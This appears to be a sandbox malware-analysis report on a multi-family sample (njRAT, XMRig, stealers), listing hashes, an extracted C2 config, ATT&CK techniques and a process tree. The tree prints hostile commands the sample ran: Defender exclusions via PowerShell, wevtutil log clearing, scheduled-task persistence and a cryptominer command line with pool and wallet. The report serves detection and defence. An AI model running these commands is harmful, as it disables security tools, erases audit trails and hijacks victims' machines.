blackguard | 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce

Analysis

max time kernel
67s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/02/2026, 09:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 30.6MB
Sample260204-ltppvscw9c
SHA256 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce
MD5 01803ec695b92f3e0c8b7ac7f204ec5f
SHA1 8f899be79a6f22b21084952c11f347701955f1ba
SHA512 023de52f20061237c8c717dc017c9e09feecd7774cadef209b812f0f7587e65f3f3e03c63140b1de3805a8d2ea8406b44634a6759190e1f593a5ca794977a0f1
SSDEEP 786432:tUKk9/E3M1MgCsm3IhVVkebg3+Oy70qZcTakRfasfX3SC:tUJNMVD3IhVVH03+OynFWas/D
TLSH
T11B673325D76061F9C9ABD534CC918827DF3A7C0A4397FB8B57FA817A1E532414E3AB02
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

administtrator defense_evasion discovery execution blackguard growtopia njrat xmrig miner persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

njrat

Version

Njrat 0.7 Golden By Hassan Amiri

Botnet

administtrator

26.169.62.1:5552

Mutex

Windows Update

Attributes

reg_key
Windows Update
splitter
|Hassan|

Signatures

BlackGuard
Infostealer first seen in Late 2021.
stealer blackguard
Blackguard family
blackguard
Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
Growtopia family
growtopia
Njrat family
njrat
Xmrig family
xmrig
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
220	wevtutil.exe
236	wevtutil.exe
348	wevtutil.exe

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/4532-286-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-284-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-291-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-294-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-293-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-290-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-292-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-295-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-297-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-298-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4532-317-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe
4988	powershell.exe
3684	powershell.exe
2344	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	microsoftedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	microsoftedge.exe

Executes dropped EXE 9 IoCs

pid	Process
4788	javaw.exe
1476	juscheck.exe
2976	java.exe
2732	jusched.exe
2540	microsoftedge.exe
4756	microsoftedge.exe
1644	Server.exe
4852	java.exe
5916	sihost64.exe

Loads dropped DLL 1 IoCs

pid	Process
4532	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\microsoftedge.exe\" .."	microsoftedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\microsoftedge.exe\" .."	microsoftedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
3	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\java.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\ddb64.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\ddb64.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\nvrtc-builtins64_112.dll	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\nvrtc64_112_0.dll	conhost.exe
File opened for modification	C:\Windows\system32\Microsoft\Libs\nvrtc64_112_0.dll	conhost.exe
File created	C:\Windows\system32\java.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\nvrtc-builtins64_112.dll	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 972 set thread context of 4532	972	conhost.exe	119

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	java.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	java.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5956	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5208	schtasks.exe
5040	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2976	java.exe
2976	java.exe
2976	java.exe
2976	java.exe
1308	conhost.exe
2344	powershell.exe
2344	powershell.exe
3052	powershell.exe
3052	powershell.exe
972	conhost.exe
972	conhost.exe
4988	powershell.exe
4988	powershell.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
4532	conhost.exe
3684	powershell.exe
3684	powershell.exe
4532	conhost.exe
4532	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2540	microsoftedge.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	java.exe
Token: SeDebugPrivilege	1308	conhost.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2540	microsoftedge.exe
Token: SeSecurityPrivilege	220	wevtutil.exe
Token: SeBackupPrivilege	220	wevtutil.exe
Token: SeSecurityPrivilege	348	wevtutil.exe
Token: SeBackupPrivilege	348	wevtutil.exe
Token: SeSecurityPrivilege	236	wevtutil.exe
Token: SeBackupPrivilege	236	wevtutil.exe
Token: 33	2540	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	2540	microsoftedge.exe
Token: 33	2540	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	2540	microsoftedge.exe
Token: 33	2540	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	2540	microsoftedge.exe
Token: SeDebugPrivilege	972	conhost.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeLockMemoryPrivilege	4532	conhost.exe
Token: SeLockMemoryPrivilege	4532	conhost.exe
Token: 33	2540	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	2540	microsoftedge.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: 33	2540	microsoftedge.exe
Token: SeIncBasePriorityPrivilege	2540	microsoftedge.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 3916	2912	2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe	79
PID 3916 wrote to memory of 4788	3916	cmd.exe	81
PID 4788 wrote to memory of 1476	4788	javaw.exe	82
PID 4788 wrote to memory of 2976	4788	javaw.exe	83
PID 4788 wrote to memory of 2732	4788	javaw.exe	84
PID 1476 wrote to memory of 2540	1476	juscheck.exe	86
PID 2540 wrote to memory of 5208	2540	microsoftedge.exe	87
PID 2732 wrote to memory of 1308	2732	jusched.exe	93
PID 2732 wrote to memory of 1308	2732	jusched.exe	93
PID 1308 wrote to memory of 4660	1308	conhost.exe	94
PID 1308 wrote to memory of 4152	1308	conhost.exe	96
PID 4660 wrote to memory of 2344	4660	cmd.exe	98
PID 4152 wrote to memory of 5040	4152	cmd.exe	99
PID 4660 wrote to memory of 3052	4660	cmd.exe	101
PID 2976 wrote to memory of 348	2976	java.exe	102
PID 2976 wrote to memory of 220	2976	java.exe	103
PID 2976 wrote to memory of 236	2976	java.exe	104
PID 2976 wrote to memory of 2840	2976	java.exe	107
PID 2840 wrote to memory of 5956	2840	cmd.exe	110
PID 1308 wrote to memory of 5912	1308	conhost.exe	111
PID 5912 wrote to memory of 4852	5912	cmd.exe	113
PID 4852 wrote to memory of 972	4852	java.exe	114
PID 4852 wrote to memory of 972	4852	java.exe	114
PID 972 wrote to memory of 3512	972	conhost.exe	115
PID 3512 wrote to memory of 4988	3512	cmd.exe	117
PID 972 wrote to memory of 5916	972	conhost.exe	118
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 972 wrote to memory of 4532	972	conhost.exe	119
PID 3512 wrote to memory of 3684	3512	cmd.exe	120
PID 5916 wrote to memory of 5532	5916	sihost64.exe	121
PID 5916 wrote to memory of 5532	5916	sihost64.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\juscheck.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Users\Admin\AppData\Local\Temp\javaw.exe
    "C:\Users\Admin\AppData\Local\Temp\javaw.exe" -pDhajqJHDkqin
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4788
  - - C:\Users\Admin\AppData\Local\Temp\juscheck.exe
      "C:\Users\Admin\AppData\Local\Temp\juscheck.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Users\Admin\microsoftedge.exe
        
        "C:\Users\Admin\microsoftedge.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2540
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5208
  - - C:\Users\Admin\AppData\Local\Temp\java.exe
      "C:\Users\Admin\AppData\Local\Temp\java.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl System
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:348
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl Application
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:220
    - - C:\Windows\SYSTEM32\wevtutil.exe
        
        "wevtutil.exe" cl Security
        5⤵
        Clears Windows event logs
        Suspicious use of AdjustPrivilegeToken
        
        PID:236
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cleanup.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2840
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5956
  - - C:\Users\Admin\AppData\Local\Temp\jusched.exe
      "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2732
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1308
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
      - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4152
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5040
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\java.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5912
        
        C:\Windows\system32\java.exe
        
        C:\Windows\system32\java.exe
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\java.exe"
        8⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:972
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3684
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5916
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        10⤵
        
        PID:5532
        
        C:\Windows\System32\conhost.exe
        
        C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=43NbUZrvQLai2SVbAdwH1oaZWZvP5yhgbLEHkwR875R9guyzTaNjH7HGXat49D5keT5ftJQdTdA8LLfFsCFHxQTdMwcGshA --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth --cinit-kill --cuda --cuda-loader="C:\Windows\system32\Microsoft\Libs\ddb64.dll"
        9⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4532

C:\Users\Admin\microsoftedge.exe
"C:\Users\Admin\microsoftedge.exe" ..
1⤵
- Executes dropped EXE
PID:4756

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
- Executes dropped EXE
PID:1644

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:5400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Server.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Server.exe.log
Size 1KB
SHA256 b115c8bd4e8c80eedb64322046695b1bb6783ddfebf7bf93a0562a12bb4de95a
MD5 e7edf56d23e3eddab9453776bd1cc9ed
SHA1 36c5a79710d6810871de84443bc4f42c404504bc
SHA512 ab2c905ff55d9a202469218f65d6df63eac131c06886316ae4e8cd05dffaa42541d11df774d89629d0cc6df067ed9d0c2b44811952e4f3668c3e9d4fb84f57a1
TLSH
T131118C302376A0D889263F421C1D268557AF476AB654EE0C7598635DDD260575B213F3
MD5 SHA1 SHA512 TLSH

Submit Download

conhost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Size 646B
SHA256 ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d
MD5 77c55532f6106f9f01c86aac8ad7d486
SHA1 6083606a4db53d5b82f62441b749be6c7812d15a
SHA512 dcb680b4205411eee8aadf3f9fbaf4aeea0e2a5216e4812abf96c9f71a19805088e5dd3adf784a66ad6ca0989279da405920e3c1e82b9fb4d12dae1762ebeb8e
TLSH
T188F0AC303361A0D808662F431D2C6ADD63FF4349B660AE48B994B35DD936D0B9F320E3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
MD5 00a393b7ba301744fef3e6a7618aa4b7
SHA1 1e59132dfae5fc1b1f8cfdbd3b0aa281903ff743
SHA512 af1c75b62ab48ea5be32ba7ddca5e8f5afed1aba52a9f0fa8f7133b71f7fd3010b13f0dc692e218eac1057d4dcbcfdfa8b2a4ce284c246d9845819ea88b63516
TLSH
T18B218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 222be6f9d02a4f51f000c3895c3caeacc034dcd385720aea977bc45dffd4923b
MD5 888f660ba7d7ca6844201dcccaaa4505
SHA1 d6380db6e7e2be7583dbd10bdeb006227755fee6
SHA512 02f23a99f2d65d1c5b01494cdbd91110145278ceeaac56594fd0cab54e3e0649b27878cb9ab00d9a4becdfc61721e837d3048dd5aeaecd2544bc443b75dd4caa
TLSH
T124218633B79CC134C8C911BA108DAD01B2B5C3C7449ECE8B7B84C528A5BF89ADF681A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7d19dcc430dad081cd41bab49612759504e6efbaf6c8b0da415ab6ca07ab2997
MD5 9de700b99b35d199a3bb043c28c7abfb
SHA1 1b9e568ad77f67004e7f035959239f713a359534
SHA512 647eb0cf3ec9debb5c1a632f6bea5d6985efa0538982e64115186aa6a45077969664ed67d8bdf58ccbaa7cc53fd6043d5c25964578ae8368e52bfca5bde7c82e
TLSH
T103218933B79CC134C8C9117A108DAD01B2B5C3C7449ECE8B7B84C518A57F899DF641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sazndomn.2z2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sazndomn.2z2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cleanup.bat

Path C:\Users\Admin\AppData\Local\Temp\cleanup.bat
Size 144B
SHA256 7d602dc4a4402117edcc1643bfdd39d87fd48b4a30d5e152e788d786a963aae8
MD5 53f357718c729d8715bd2d7ffff74ae1
SHA1 abbd786460cf150c08c7fc0f434513b943c143ad
SHA512 0a63b4d54ce84726d9e4df79c10606237a8613f04ab50d0c47ed825111a27a990c1f08647b2f43856eaf8da4a854429b63ecded2995c0f18870f977dc790f46f
TLSH
T1E0C08C0362A78AA80440A02709BA718CA47918D92E8077D00702C0E8528242EAA86701
MD5 SHA1 SHA512 TLSH

Submit Download

java.exe

Path C:\Users\Admin\AppData\Local\Temp\java.exe
Size 296KB
SHA256 3fca68d671c0a407d59b5cab6ba3038c39181cdaffd1a3ae178c4b1bed028d7f
MD5 bb8001427147efbde33f465c2ffdf47b
SHA1 e9e12f4a18b189ca22b33b679d8590049ac5f275
SHA512 59cc59758f2abc5b9d0bdb9d232d7f3c341e5db3fdcdcd686b6ac1746376e242b66ba408c672b1f5ce305550486ca6d4000edc5ff5ee4fb9d490d2452e1422d0
SSDEEP 6144:i59IhSQf0Ou8yegCyThvFhIpWbYNoAIIypwC+9bJjU/HIR6pUP:Hh6OTyejyThvFhIpQrAHYR/H7UP
TLSH
T1BB545C0127ED4659F2FF5BF8E4B1212583B1B862F83EDB8F6D4464ED1922740D950BA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

javaw.exe

Path C:\Users\Admin\AppData\Local\Temp\javaw.exe
Size 30.4MB
SHA256 54f8ea69ea9c536a13b5dcb7d1c1fcc4c26c8703c19dd8b9c4fdad7e41c6ede9
MD5 4f04b7c60b0d72c4e703bf6351602994
SHA1 d1d27925d4ee7e3994993a205d803f246b73e3d0
SHA512 479ce76c8ab252f628428cf3fb13c73ec0253d1d187950f235e3382ebcb4a4b79410491959e27621c161d618784a8cede0f96176793e5851a4d6306ff8bba09d
SSDEEP 786432:xOqPROk77Q5QQ1rk/XkpTpdZseH/DglQwQtvGDymhqk/9mNadm:xbRffvJ+nuefDHvRkcNj
TLSH
T1B367333AE3F904F8D175E0B58ED29A9FEAA17C480761A60F0BB8E4649E331D11D1D793
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

juscheck.bat

Path C:\Users\Admin\AppData\Local\Temp\juscheck.bat
Size 57B
SHA256 1afa992ba2b3661006f6f9fe69f242cbd162c2273d43427f45724f023a72e38b
MD5 4fc356c6376dcc6803d9fa298150e68c
SHA1 cc72876271e8679c6caeaef686d7330a5707d3d8
SHA512 9381c303defae8bb133b4809a9122238a28025dd10c3d7a1f268449c643b24a886c78d45f8e4acce63ab71b330b4e75462a2c7c7851c32f385f975c180b31425
TLSH
T1B49002160C011485662319108047296A7E8F91D78492C4D11101449C5C9E55D60DAA46
MD5 SHA1 SHA512 TLSH

Submit Download

juscheck.exe

Path C:\Users\Admin\AppData\Local\Temp\juscheck.exe
Size 25KB
SHA256 cbe0d4aec72655f79881a6036a2c9a111212e74757a2db7f4f8266850e8dfca9
MD5 a2038e28490a11ed97b58d0272e98919
SHA1 4874947262a588e6550e0f8bf644818687d65165
SHA512 18022ca0346a8bc7f0142c16928edd4862b7e1c2c60accc6970b7b955f5ef98834d37cd49527e2859649a8d643e32aaa5a0332cd2b584dcbc7a8317b727a5c4d
SSDEEP 768:svpLaXe7Z5iEI1OW5ZcNy4WyseHmt9d4nt:QOe7jiEI1z5Gy43seznt
TLSH
T140C2D0119308C96EC96D4F74AFB7A3D0F2B492147F87489858DC0AB7A8A17DE8C72395
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jusched.exe

Path C:\Users\Admin\AppData\Local\Temp\jusched.exe
Size 29.8MB
SHA256 49adcc264da9a3a2144379224dfb7c1a34e3b55ae39a9ffbd8029fe5b9bceb7e
